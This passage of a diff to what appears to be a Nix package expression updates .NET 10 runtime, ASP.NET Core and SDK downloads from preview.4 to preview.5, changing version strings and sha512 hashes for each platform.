+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-39ITIAZNO9ZVKE6UY5KKSWvd3wiT1b6n0nUfApUCqMd5MlkExTuMKToY5J1CwWhDhWTq8d+q9USCO65MsUueIg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-PBvBPCAWmvHqbFDLO04gQkqECQwCEyvxkltpkLnZVnDpaNH+V/Dcqe/EgowxeTIjujjeRn335zfkDAiJXEq/rA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-isbzkA/HOGFEqZLugW6V9C7xx1RLA6p5v/YrdW9au1/RaCjS8OAS3/rcZKUT/lu6wubSGHaLdzWeqIwmWwgoaA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-G6SLD+2vlWcmL9K1JlW8cj7p7yNlB5DPvZ2LOoSm1TOz8eabKAFbUzAhzm1vjjbx4kVjgYGQjk9SxUb0jlNyBg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-whDhidFeiAPcU/aSCxUcgfgjbISQw2IwR2fHhHB2vE5Yf97XEIzYACpi/skGYqBWroXYAmaU/Pm5oULMrEJrBQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Rd/49ec4URHYjz9G7aOq+MlE9jXirUEzGNYvIIxu63ah3iZj6rTL9hP5/yHJFgOy2sTSGCNjmftiRp2LavS+fA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-5N7wlWk5zDCzwqee5s8IDVfBMk7w50K6nuZworGH19K1q/twuuwflRIz07DBvNkhmR3E1ScSUYmZr3YP6o95aw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-elIMKxh2SsVvxA0TA+uZ4AhEfZgbjYawBBO0H1zEPMg+Z5B68qBl4bcPRhhlQvfZxTmXLDGv8ME53lkowMAY7A==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-R3bUl0oLPwjxngS/KqDYO6+lhhwhAmd5N4yOlOqdpgfm719+1vuCYc2VLOx9MIf+sh664VsfuByCI9H9oji9dg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-9tUkHEWZpnmpqa7lMnQyPaajyJqGNtJnbfhNlfddvH8Fu8w4iFIAmEQs/qdYspA7GZqPsl8HAUGN82TEYiQAqA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Rw2ijbzcMUbs6vGu3AxIGNTNB+ZeZvuNNDvsj5XTOSL1o2ndU2eW343QAi1hcKXL1pc35eYJZWPOq/gQgBSnVg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-+yjaVe6Jic5H+VzO7/G9hLuyG67BpnL8XdUrlq2OCPJwPv088osfM5JFUm/WAU/uzmOjD0aaWU6W+o8X4+YmMQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-npo1EFBfZotj6hbR7uoArZeXEQtnKLarXYnez8JmmAZsRU4osSvYyg4Q/jGopjlFEuyixtWc3rb9rO6njYwxew==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-gLD9VVXQqUXHkZajhIX9yYIO9Y1x/RtVhNnoSAfLVzilYJw1z0OqdIUtc7VtP4yLSIfSelT8Vu6Nn8i2DD4eag==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-tWtY3DpiKsyQNOg4NN0i/IpRpJ4vjmbDk7B+OdqQrFKGwR/HKXlJ9KOMrqU9LsvEFE2WAGAr/UH0r96iZFAxtA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-+j0RMzpQi8K2PySVEatGfkorswWpRrYWTOzz0obbqd7Bj9Br7+0ENIBBuZXDESLZGDok88Go9F+6zcICKYooxQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-9kI8hH2vS45pgael3UCyVCYvmYH/cXKVrFzh7toKoN1p40YPsTh6qHQRjO4W828zdy2g74T5Ct2ypgMGfdzyyQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-VLW0msNDaNWb7XOjJ2Hm+Sz0QIem0WnktK5rFgmNZyfDXtF+dpm2c5XcrDFEOPdLLBTUtLqow75XlMdShieS1Q==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-uvB/nzacyGad9m7Td8HxrJvyEB7ZNlpm/cxk/G0ufjzTXofWziHKzC0x/gPdc2tZIJQPOaAXOUAcJo1cl4FUug==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-vT00SyyvuADK059SOMzkuBH0uFNNae9H+kjZ+cNd0GvtEpdjdJButYtB4EY/iDKUETZvAwqCPMwfeymdnARDOg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-DVJVHV78Nd30U6kiQon16sCPrXuaZLOgFQMLFcMQ4L07srDd962CfijiWAWY5tvl9oO2uWWY9PVqvMFyyMI/YA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-UYU9F6bt9yhS4Q4XnbbXrZkWXGt9mRU3Sf3QLepGLEGZDTNMZ/qQ0cwECm1AFk/hvqtcsxR1Rf+Y5QzInY1Dqw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-eFsS+N1nnCG+NGq0jcVhQ0vk3Vthyrz4FsHvZqb2YUwvTDBy8deJZxgaTWBuzRX0QjMgojXjNRCGnjEdtOesEw==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Lc5B0EhxRtqJ0aoHwqu3lhzQ0iQi/sSB6ZE8zHCZ4Mmbl7ksbXdLfOxviOTp8pEvfIw+OEi0LYIP2H/v9uxtqg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-7raTvTDZSJ5SNIPU5hug3kGnQqKpNhaBGrXH3v9a0usFRgBbvXEBS9U475YH0Xr3skdOkGESxV7TAzWqMwGGuw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-1pdCZOxyNRo849DdbceCdGubemC/Ef7APxQfQcxute4H8cX56H9vuvYSMigelNtmS6cMW40VCjZCcoB7WuC7tA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-4zmNNMtPHXZpvAZSJcf+/gKIJ4bklQbhkwmllkboOyD+LHeHTeloBakB8IfVc1ZIPGeYmoH0rb7WNHuARTeAmQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-bqAnrKRGSbNZDaS+KVM0HzB6kXDogTK4AWw0u/HHqhLzbQalY53Jj4JNUyCL78aYUT1ltLXqWjbxalyXr4SWjA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-7a8P7l3yuhiUZfRCSy2BCLedgSVCIOGktdjIniMlQGou7FON701ld0JNI4Stc/WdOQe92IfOBxA1r2mhhpm+Ow==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-tTKpp123VyoMl6cesOqUbBa41hbnSIwHL1/YdebYvBlqv9rO6E5NOZpqbk2L9dF6gwMEVuPgQrxjLGH6EDqGzA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-gSMZ9F1gZ/cuDLo+I9k0/9h8Yz0xFRsCapNNzP5J9VQYzbQMU5gFp4zY2X/+ZIUNVQtCrTgDNNy4RXoP1Lo0DA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Ki/aU3comxUTo6NkvDlSZY6Og9UFDFzN1/QU6SUB2gUyiD5sm+sLTg5i5y9tqjDncXfGW+GsJYh1eorOM/uBWg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-EbFp4C0rB5GEd/EXaXTA2LlQ4XwhhzBTIP2f8AQY/26hYOXTYYk+ssz3RGNh81vt3QbBZocwN//Nx+mvwf3+iA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Ary6XYzkOkvpH5tLF2UH/owM3EXlI1GgaKaA7yYeJmA5qk2l4+gHqA/e465MgbgNYirRm4Btwp97Z0t8sEYsjA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-q+bdIwi2R6egAwfMbBFpjjl2T2ADeMBumODqQQU5kO4p56bSYAN97c2lAnJ6I+8x6EkZ92SHlAVrmauH/XR+KQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-b7ei4mhIRfcqyjq8v+D4SNjUWmLkVbvIf/JFAEXJo3SlRe3JSP7jS1MLW3d5D5/0vUU0l8IolPj5drAlywNA5g==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-x4c4bS0IRW8ELlG0ND2Wz3zMbqZGDgSV5WAIJpJh97SvHVeCZIZ6FLB1EsYmeMTCp0zyt5ZYOMCTAMuBO7B3Tw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-MSCi3QAeZzaTWCoiwVoYJ+KicB5II2wozy+aGhowc2/E4RAAm0YlReD6o9YWlGW8KdNlqlcEQQS1zmu+qFz7Tg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-WtDdm/9kPWVZziKlVSZ95cJYBFZ+O9acpLsnWu+a4C7uaR0PnVA5kdV/KPZpZp5ZuSGDzW7LuZy85e/zYU+q5g==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-DTTIMNHk4mhq/vm9mfnNjGl+vJiAVeNOi1Wv8CzAHbbqpmd1VgAIPGMj1a5tyRpGetr+E6LuNJr5hhdjdI3zpg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-XLolCkHXsP9M0HBsRHxzWE7Gvc0PYUlYFOa2zbIM5YqrnS3fBuSkwuy4pGKB3ovNhCV5M6ZUDFkwsW6QFXtdkg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-oyqPs7vbl/j2j9q9bxZrp510Kvl6vGRl6TCfV49MrpWXkVqMrh4MNkrcdfP5I5TR1q0FKPEZbYIbCfogoJSMCA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-hOgMOwwqKxKiEh51aoDrXS4ygFfByD8acPxhUPQKbuewoymPzWgF/BppaIyXJVFNvi4YMm0ANaQZ7asRv+6QLQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-zMT94I7Yjqlmb/nElrQ4KBS3PymsoYqcTxOKuBjffTpx/xcfPyTMNrVYW4ybuNjRAE3mUqx/LXHrQQ/+1k3oCQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-UYv0JpAcv6c5c7QdeM8xmQULQNxeIv87OYh7vVmy6mmGLVOipeDynwUrrZreyzr/Wl4i86//JsyEfzEWhViZZw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-SefFQ45L6kcn7UVPM2G3qFhDMZpgGqvWIFSITGvPW9BVbJfpH9Q/Tg/kFPbrfAVx/9DtTN4HBIpA/4RCeNY0hA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-KdRROs3JSxZ4+Wgqww8EwWE4p/Redg9d47peJ7sjsgAlRqTK8WpPiN50vPu3pXwcuGZozJ5e7dsg1/In1q6lZA==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.4";
+  release_10_0 = "10.0.0-preview.5";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.4.25258.110";
+    version = "10.0.0-preview.5.25277.114";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-arm.tar.gz";
-        hash = "sha512-ZMQ1mo01rBUxKthEWH3uHSJ/IH08m6Fu31DGcG+Top0LjTOIvRdUdJFlLxQjpnv79CxMeuiAr75CBhXlKbq/dQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
+        hash = "sha512-CDAgO72l8b5njlm/COTL9sDaUsmAnQJgBLou8OoP1qMIjI8CXXqSxmGbD7WG4HBW90laJtX9U3yuCatxyoFuHQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-arm64.tar.gz";
-        hash = "sha512-fFa8BN1VFSkfwpqUTlAc4na3Iqp448Z5GIy5/jP74GPCGwTv0Py7phAT3XORTnpLQ4YmqBbAtvnPfwl2RqbSCA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
+        hash = "sha512-rJnr7E56vWYKJzF9N9pWrh+o6evb9KiP5fm+WOH01+jwW+wy1ekCwP3R6dniUM20lEgmZoIBDkz39GQPlpm58Q==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-x64.tar.gz";
-        hash = "sha512-D6jWC9w/Y99JtfP+XN2hNxOj+b6j58FQSAVD8rfDs4cfQnj8BC1vhQQ0FGlQxJNGBshI9LB3vmmuQ1es42twdQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
+        hash = "sha512-bmmoX34YuO67X5mn6Amdsvpdo0vPB4vsuxI8CGPUvntCUsfPxrIblYX0+ADAWKEsrlXvKmO5vqiGyj0dig7BEw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-musl-arm.tar.gz";
-        hash = "sha512-1rbk8vVIsN4rpIyFpV3mBnUkPZG55DOqLEwDZnmuuBQjb5z084UJ2l1HE1KjhFqDDh4C5bxelxrNuEFWcoVibQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
+        hash = "sha512-eJ7G3LaAXtcJ8D+s0Z4s8E+uuIQI4kNrx+fnbrZfJzQC9HFM7mDGsI/ZtZE4v/Q7gFll0dXFulhb6uceX/uLTQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-musl-arm64.tar.gz";
-        hash = "sha512-kgcEGeDfHsldkpAKFJhP0SJtpgToFUYIU/6mGGvpsDqL9ODHmyQ4EqxU818pPNJHtHjxvYlsO2U8tSaAjM55fA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
+        hash = "sha512-sG1ip8UwDEp/x5VDgYDifBJ+lxV4+Ph0yMbXM74rZF77WbYz2I9mWMo028vItolnXLNlGmElmCBPwqW65B02HQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-linux-musl-x64.tar.gz";
-        hash = "sha512-oj825bLubRUzuHcKmxuQuAU77SxhNInTtcopj0VT0M3Hmtn1CABYoc6GjHyD6/RyfeN551eu5F3Afe9SjlXu6g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
+        hash = "sha512-yZiYPbLNXoujcDkAhzkp2T8P+MalG0ZaJwNZcrp38MGactPLhULdsy/s0edro5cWJzkaLgD1qf4d985kg5LTFw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-osx-arm64.tar.gz";
-        hash = "sha512-caTBSU5/1Xb+8RxckvzQ7Nkh/gQvSWcEpVqW/6UUXXk4xsQ1CQ4oXY/+FQwxHz7Wf3WxwePRktuUKfNPUwH93A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
+        hash = "sha512-YjtaKT+Y3TXTBfMRKBeSoavZzlV/MaZnOUPyC5KObqkYB2rY8hmD7FFIIGv6TAiY7o2SbflJJYOMzhGur2pVJA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.4.25258.110/aspnetcore-runtime-10.0.0-preview.4.25258.110-osx-x64.tar.gz";
-        hash = "sha512-WqBom031NMIiW3gXDitS6LqItcJD5lXwqxxYoRNXAi98fX+0GM8UXX2CYT06OykNaKWaNNX+MyIcbYeHGbMFAg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
+        hash = "sha512-IxZn7c9uc0JAwKj0DrtCjntWhcUYW6H6UNX1By7YZTP56UtpVRyL9sFtpN5N/UmA5qwl8QShzBUYp5I5m/ImjQ==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.4.25258.110";
+    version = "10.0.0-preview.5.25277.114";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-arm.tar.gz";
-        hash = "sha512-QD2cczE5iV4+piafBUpTJN+HC661pv47t0+guuYiVJYt9JAlwBsWIIXoxjPIm0sshAN4Dw4yLXiJ1doWwYbKKg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
+        hash = "sha512-2SlNCqSiJOGnarCGhNgnWAhBtFoNlpU8MX70/ThYwIUkRVswJzT3btfVyUCyEv0Rb3pfExf3pEY6rb7JEJia7g==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-arm64.tar.gz";
-        hash = "sha512-Bq9SPYENOvwxGoODDhrAOwGzb7/JPs45XulU7LI4rlqv1APzMDMocOoxTytWnyR0xyHBLHjRYrG/K1/QddbCMQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
+        hash = "sha512-muJNZSjDAkL1N/LT462JuH6+R7rUQf1nMN9SZNE1pjcFchtn9DTiJRgJATslrbLjc01lDiM+bIccV51xMkCmUA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-x64.tar.gz";
-        hash = "sha512-GQKyMLHyAP7HdioUscfhQBcqFVvYMS1TOOopDJUHphvj7X3HmV5Xaeng9VsR3+LudYWmVOb0tEZOWUFUY8563g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
+        hash = "sha512-7CHv9RsPi558nAC2zJ6c3YEJl8nSwZhwQsSM3Wv25AwlUqy/zaQFxWs8595Ss6IOa5HwaMbkvRAbiWwwKjK18g==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-musl-arm.tar.gz";
-        hash = "sha512-lbpT2Zpfrx5mZ0e6zBn1kwEf/WtpQf9G7JACt3V1kYVXOKBliFr2cJnZq+bSnTYjNQVXysQzf6WZCJiHiNQvzg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
+        hash = "sha512-N7OLXKaeLLvdz69NfC0fZS5WNo88S8qELIzYH6EIolr79amshYVjY+puDhDIXOwDz/V+ZBaQ7d3wk48X03neMg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-musl-arm64.tar.gz";
-        hash = "sha512-bi0FPzwi5PYN8urumja3st1caOX8DQPE1OUfm1FXpav63rCioK9IDMZcPuo9X6eNTbos86u+dOzMBvZIXh0JFQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
+        hash = "sha512-EPWk90PYeVaI+rG55zbNduBL7LWlaQPZYHzXaUyBoKrO6Uj6URvkY+fXGe+KqpzNkJnvKmoPFdlV0jjOCRn8nA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-linux-musl-x64.tar.gz";
-        hash = "sha512-Q5h6kWq2+S45MH7AXRDlDiPHJ6dDahQnK6hgYrdvif9OKINB8eJtbpluS2HyAGqsN+twDzwjAMn/J8O26fiCog==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
+        hash = "sha512-cWsBVZtEMgwSRFnEYdyb56I5G2gOybpGoi93pzfrk8TjMjpzsRON3RV03MUJNMgq33q+eS1rvZU7iup5BhmUHw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-osx-arm64.tar.gz";
-        hash = "sha512-OqAvgpqCTI42rs5Tx0esxvpBKZOK8E/jBePfeuBmbfFytgpoeEGg+Y2J0UJkT17UL6FNMaE6Dn3hQfnAz+mmWA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
+        hash = "sha512-i5UP3wmfNAIsuxGuLnNvo2081+EXIwlxIw6z4M2z0z82tD+H7m+MB2fFbmYZBmZnvPyOJnpvQWllucN7DJIVLw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.4.25258.110/dotnet-runtime-10.0.0-preview.4.25258.110-osx-x64.tar.gz";
-        hash = "sha512-NxfTJJu4d4zjaWgB7VcRW1UrIEwEgNOvvrjm+j8XufTqibe0FU46vfWCfqEcO2PX4pHnYgtI4LWpox0RbAWUvA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
+        hash = "sha512-uGB/aI7PBs+fspUEU4PXVlvCyQV+eQ93FqKsLQVsmva1o9ZC2Cob9PgnJ+C29rBmxy4sVO2Wn8Wt6jiEHYhAjA==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.4.25258.110";
+    version = "10.0.100-preview.5.25277.114";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-arm.tar.gz";
-        hash = "sha512-DUJ5oLNYU85hmiNB/jwjdfFfr9/GfUioXKbB1yEue/CYz+v+SEVdrvmK2pNX/Fg1sH/7PFSSNGVNrDn+2GTMkQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm.tar.gz";
+        hash = "sha512-G7cuus8JCj/DTdExGtY05PsA6kUjIKpo1iq7+DEhUYta5CucGJX7gE9Vz6zseAlcryPAzPRNAHaRLH46WgAXhg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-arm64.tar.gz";
-        hash = "sha512-OMJfofQzWQel5YIQs0OxvtC0RE75SjNlWNcLqz8nY//XhhVeZmQPwI/Z/ZSb8GHE9pRR+rnApvE04BBKRAz5cg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-arm64.tar.gz";
+        hash = "sha512-6Z8DhYuv+htB5n62KRt+nraPyJJkCXlNRBaYIJK36ANW5VR753m3dCFsHseu4ja2R0Vny3wNgV7NGevHGwf5cQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-x64.tar.gz";
-        hash = "sha512-iJeINwYYlV8vsQAFqmah5hfVLIzQF4PXgZ5DaO1cYLlUGt8Sb+fjB7dkwPDyg6TyCcDSAX2ZLaRDK2cbc3ZbRA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-x64.tar.gz";
+        hash = "sha512-TvO8F3u6p7o4zreM8BCbrM6h9EMs2MUuPXiyN81akr1mDpJndANqL8tRF19I/+vIpl3KVruQW8jtTy7P2MFceQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-musl-arm.tar.gz";
-        hash = "sha512-inFNo+h7IdjYG3Cae45AHxrg9747rLmCn7hN4ptIxuc1UFABiszHL2Qt05Xo68CPmYfeuRQO2ouj8abL5BE47A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm.tar.gz";
+        hash = "sha512-3kPLgWklkf9lCKm+4ZEH/gPmVRYz8D/WF88poU5RQtvcrtne1Aan6DnznY0PtLaqF0nCySW2PJPMFWdCBnmwwQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-musl-arm64.tar.gz";
-        hash = "sha512-DvGTNB9FCheZbkeeQuaQh9cARzWJ8NjczB9OgHLxBM+D4GXjg2H5/crYTMgWqrC4B7grJCtvZ4WM3lknJeQq7w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-arm64.tar.gz";
